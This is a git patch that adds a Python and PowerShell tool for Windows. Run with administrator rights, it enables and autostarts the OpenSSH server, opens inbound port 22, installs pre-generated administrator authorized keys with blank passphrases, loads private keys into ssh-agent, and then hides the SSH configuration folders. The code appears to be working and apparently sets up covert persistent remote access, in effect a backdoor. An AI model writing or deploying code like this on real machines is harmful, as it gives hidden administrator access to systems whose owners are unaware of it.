From ce03247fdc58ef9352fc3e704165a3b380754e11 Mon Sep 17 00:00:00 2001 From: Samuel Date: Wed, 26 Jun 2024 22:09:04 +0100 Subject: [PATCH] initial --- .gitignore | 3 + src/main.py | 14 ++++ src/powershell_tools/_set_admin_file.py | 14 ++++ src/powershell_tools/admin.py | 12 +++ src/powershell_tools/hide.py | 8 ++ src/ssh/_write_authd.py | 11 +++ src/ssh/is_running.py | 12 +++ src/ssh/setup.py | 106 ++++++++++++++++++++++++ tools/Cleanup | 4 + tools/build | 0 tools/make_ssh_keys | 17 ++++ 11 files changed, 201 insertions(+) create mode 100644 .gitignore create mode 100644 src/main.py create mode 100644 src/powershell_tools/_set_admin_file.py create mode 100644 src/powershell_tools/admin.py create mode 100644 src/powershell_tools/hide.py create mode 100644 src/ssh/_write_authd.py create mode 100644 src/ssh/is_running.py create mode 100644 src/ssh/setup.py create mode 100644 tools/Cleanup create mode 100644 tools/build create mode 100644 tools/make_ssh_keys diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f1023f8 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +.venv +data +**/__pycache__ \ No newline at end of file diff --git a/src/main.py b/src/main.py new file mode 100644 index 0000000..71c40a4 --- /dev/null +++ b/src/main.py @@ -0,0 +1,14 @@ +import os +from powershell_tools import hide, admin +from ssh import setup + +def main(): + if not admin.check_admin(): + raise ValueError + + setup.configure_sshd() + hide.set_hidden(f"{os.environ["PROGRAMDATA"]}/ssh") + hide.set_hidden(f"{os.environ["USERPROFILE"]}/.ssh") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/src/powershell_tools/_set_admin_file.py b/src/powershell_tools/_set_admin_file.py new file mode 100644 index 0000000..55879ea --- /dev/null +++ b/src/powershell_tools/_set_admin_file.py @@ -0,0 +1,14 @@ +import subprocess + + +def _set_admin_file(path) -> bool: + '''Grant full admin & system access to a path''' + ps_command = f""" + powershell + icacls {path} + /inheritance:r + /grant \"Administrators:F\" + /grant \"SYSTEM:F\" + """ + result = subprocess.run(ps_command, capture_output=True) + return not result.returncode diff --git a/src/powershell_tools/admin.py b/src/powershell_tools/admin.py new file mode 100644 index 0000000..84d10f6 --- /dev/null +++ b/src/powershell_tools/admin.py @@ -0,0 +1,12 @@ +import subprocess + + +def check_admin() -> bool: + ps_command = """powershell + ([Security.Principal.WindowsPrincipal] + [Security.Principal.WindowsIdentity]::GetCurrent() + ).IsInRole( + [Security.Principal.WindowsBuiltInRole]::Administrator + )""".replace("\n", ' ') + result = subprocess.run(ps_command, capture_output=True) + return 'True' in result.stdout.decode() diff --git a/src/powershell_tools/hide.py b/src/powershell_tools/hide.py new file mode 100644 index 0000000..4ecdd35 --- /dev/null +++ b/src/powershell_tools/hide.py @@ -0,0 +1,8 @@ +import subprocess +from pathlib import Path + + +def set_hidden(path: Path) -> bool: + ps_command = f"attrib +h {path}" + result = subprocess.run(ps_command, capture_output=True) + return not result.returncode diff --git a/src/ssh/_write_authd.py b/src/ssh/_write_authd.py new file mode 100644 index 0000000..b3bb860 --- /dev/null +++ b/src/ssh/_write_authd.py @@ -0,0 +1,11 @@ +import os +import shutil + +from powershell_tools._set_admin_file import _set_admin_file + + +def write_authorized_keys() -> None: + authorized_keys_path = f"{os.environ['PROGRAMDATA']}/ssh/administrator_authorized_keys" + shutil.copy('data/remote_keys/administrator_authorized_keys', + authorized_keys_path) + _set_admin_file(authorized_keys_path) diff --git a/src/ssh/is_running.py b/src/ssh/is_running.py new file mode 100644 index 0000000..c201c2e --- /dev/null +++ b/src/ssh/is_running.py @@ -0,0 +1,12 @@ +import subprocess + + +def is_running(process_name: str) -> bool: + """Look through running tasks for 'ssh.exe'""" + cmd = "powershell tasklist /fo csv /nh" + output = subprocess.run(cmd, capture_output=True) + output = [[taskpart.strip("\"") for taskpart in task.split( + ",")][0] for task in output.stdout.decode().split("\n")] + if process_name in output: + return True + return False diff --git a/src/ssh/setup.py b/src/ssh/setup.py new file mode 100644 index 0000000..841220d --- /dev/null +++ b/src/ssh/setup.py @@ -0,0 +1,106 @@ +import shutil +import subprocess +import os +from powershell_tools import _set_admin_file + + +def service_installed(service_name: str) -> bool: + """Check installed services and compare to `service_name`""" + ps_command = f""" + powershell + Get-WindowsCapability -Online | ? Name -like {service_name}* + """.replace("\n", "") + result = subprocess.run(ps_command, capture_output=True) + if not result.returncode: + return "Installed".encode() in result.stdout + + +def install_autostart_service(service_name: str) -> bool: + """Set service startuptype as automatic and start it""" + ps_command = f""" + powershell + Get-Service {service_name} | + Set-Service -StartupType Automatic -PassThru | + Start-Service + """.replace("\n", "") + result = subprocess.run(ps_command, capture_output=True) + return not result.returncode + + +def firewall_rule_exists(rule_name: str) -> bool: + """Check firewall rules and compare entries against `rule_name`""" + ps_command = f""" + powershell + Get-NetFirewallRule -name {rule_name} + """.replace("\n", "") + result = subprocess.run(ps_command, capture_output=True) + return not result.returncode + + +def write_server_config(): + """Write sshd_config file, used for system ssh server daemon""" + config_path = f"{os.environ['PROGRAMDATA']}/ssh/" + shutil.copy('data/config/sshd_config', config_path) + return config_path + + +def write_client_config(): + """Write ssh client config, used for users ssh sessions""" + config_path = f"{os.environ['PROGRAMDATA']}/ssh/" + shutil.copy('data/config/client_config', config_path) + return config_path + + +def create_firewall_rule() -> bool: + try: + new_firewall_command = """ + powershell + New-NetFirewallRule + -Name sshd + -DisplayName "OpenSSH Server (sshd)" + -Enabled True + -Direction Inbound + -Protocol TCP + -Action Allow + -LocalPort 22 + """.replace("\n", "") + result = subprocess.run(new_firewall_command, + timeout=4, capture_output=True) + return not result.returncode + except subprocess.TimeoutExpired: + return False + + +def restart_service(service_name: str) -> bool: + ps_command = f"powershell restart-service {service_name}" + result = subprocess.run(ps_command, capture_output=True) + return not result.returncode + + +def write_private_key(path: str): + ps_command = f"ssh-add {path}" + subprocess.run(ps_command, capture_output=True) + + +def write_public_keys(): + public_key_dir = f"{os.environ["PROGRAMDATA"]}/ssh/" + shutil.copy("./data/public_keys/administrator_authorized_keys", + public_key_dir) + _set_admin_file(f"{public_key_dir}administrator_authorized_keys") + + +def configure_sshd() -> None: + install_autostart_service("ssh-agent") + install_autostart_service("sshd") + + if not firewall_rule_exists("sshd"): + create_firewall_rule() + + write_server_config() + write_client_config() + write_public_keys() + + for file in [fp for fp in os.listdir('./data/local_keys') if not fp.endswith(".pub")]: + write_private_key(file) + + restart_service("sshd") diff --git a/tools/Cleanup b/tools/Cleanup new file mode 100644 index 0000000..0f92870 --- /dev/null +++ b/tools/Cleanup @@ -0,0 +1,4 @@ + Get-WindowsCapability -Online | ? Name -like sshd* + Get-WindowsCapability -Online | ? Name -like ssh-agent* + Remove-NetFirewallRule -Name "sshd" + \ No newline at end of file diff --git a/tools/build b/tools/build new file mode 100644 index 0000000..e69de29 diff --git a/tools/make_ssh_keys b/tools/make_ssh_keys new file mode 100644 index 0000000..9191aa4 --- /dev/null +++ b/tools/make_ssh_keys @@ -0,0 +1,17 @@ +mkdir .\data +mkdir .\data\local_keys +mkdir .\data\remote_keys +del ./data/remote_keys/administrator_authorized_keys +del ./data/local_keys/* +del ./data/remote_keys/* +for ($i=0; $i -lt 10; $i++){ + ssh-keygen -f ./data/local_keys/id_ecdsa_$i -t ecdsa -b 256 -q -N "''" -C "local_key" + (Get-Content -Raw -Encoding Default "./data/remote_keys/id_ecdsa_$i") -replace "`r`n", "`n" | Set-Content -NoNewline -Encoding UTF8 "./data/remote_keys/id_ecdsa_$i" + (Get-Content -Raw -Encoding Default "./data/remote_keys/id_ecdsa_$i.pub") -replace "`r`n", "`n" | Set-Content -NoNewline -Encoding UTF8 "./data/remote_keys/id_ecdsa_$i.pub" + ssh-keygen -f ./data/remote_keys/id_ecdsa_$i -t ecdsa -b 256 -q -N "''" -C "remote_key" + (Get-Content -Raw -Encoding Default "./data/local_keys/id_ecdsa_$i") -replace "`r`n", "`n" | Set-Content -NoNewline -Encoding UTF8 "./data/local_keys/id_ecdsa_$i" + (Get-Content -Raw -Encoding Default "./data/local_keys/id_ecdsa_$i.pub") -replace "`r`n", "`n" | Set-Content -NoNewline -Encoding UTF8 "./data/local_keys/id_ecdsa_$i.pub" + cat ./data/remote_keys/id_ecdsa_$i.pub >> ./data/remote_keys/administrator_authorized_keys + (Get-Content -Raw -Encoding Default "./data/remote_keys/administrator_authorized_keys") -replace "`r`n", "`n" | Set-Content -NoNewline -Encoding UTF8 "./data/remote_keys/administrator_authorized_keys" + del ./data/remote_keys/*.pub +} \ No newline at end of file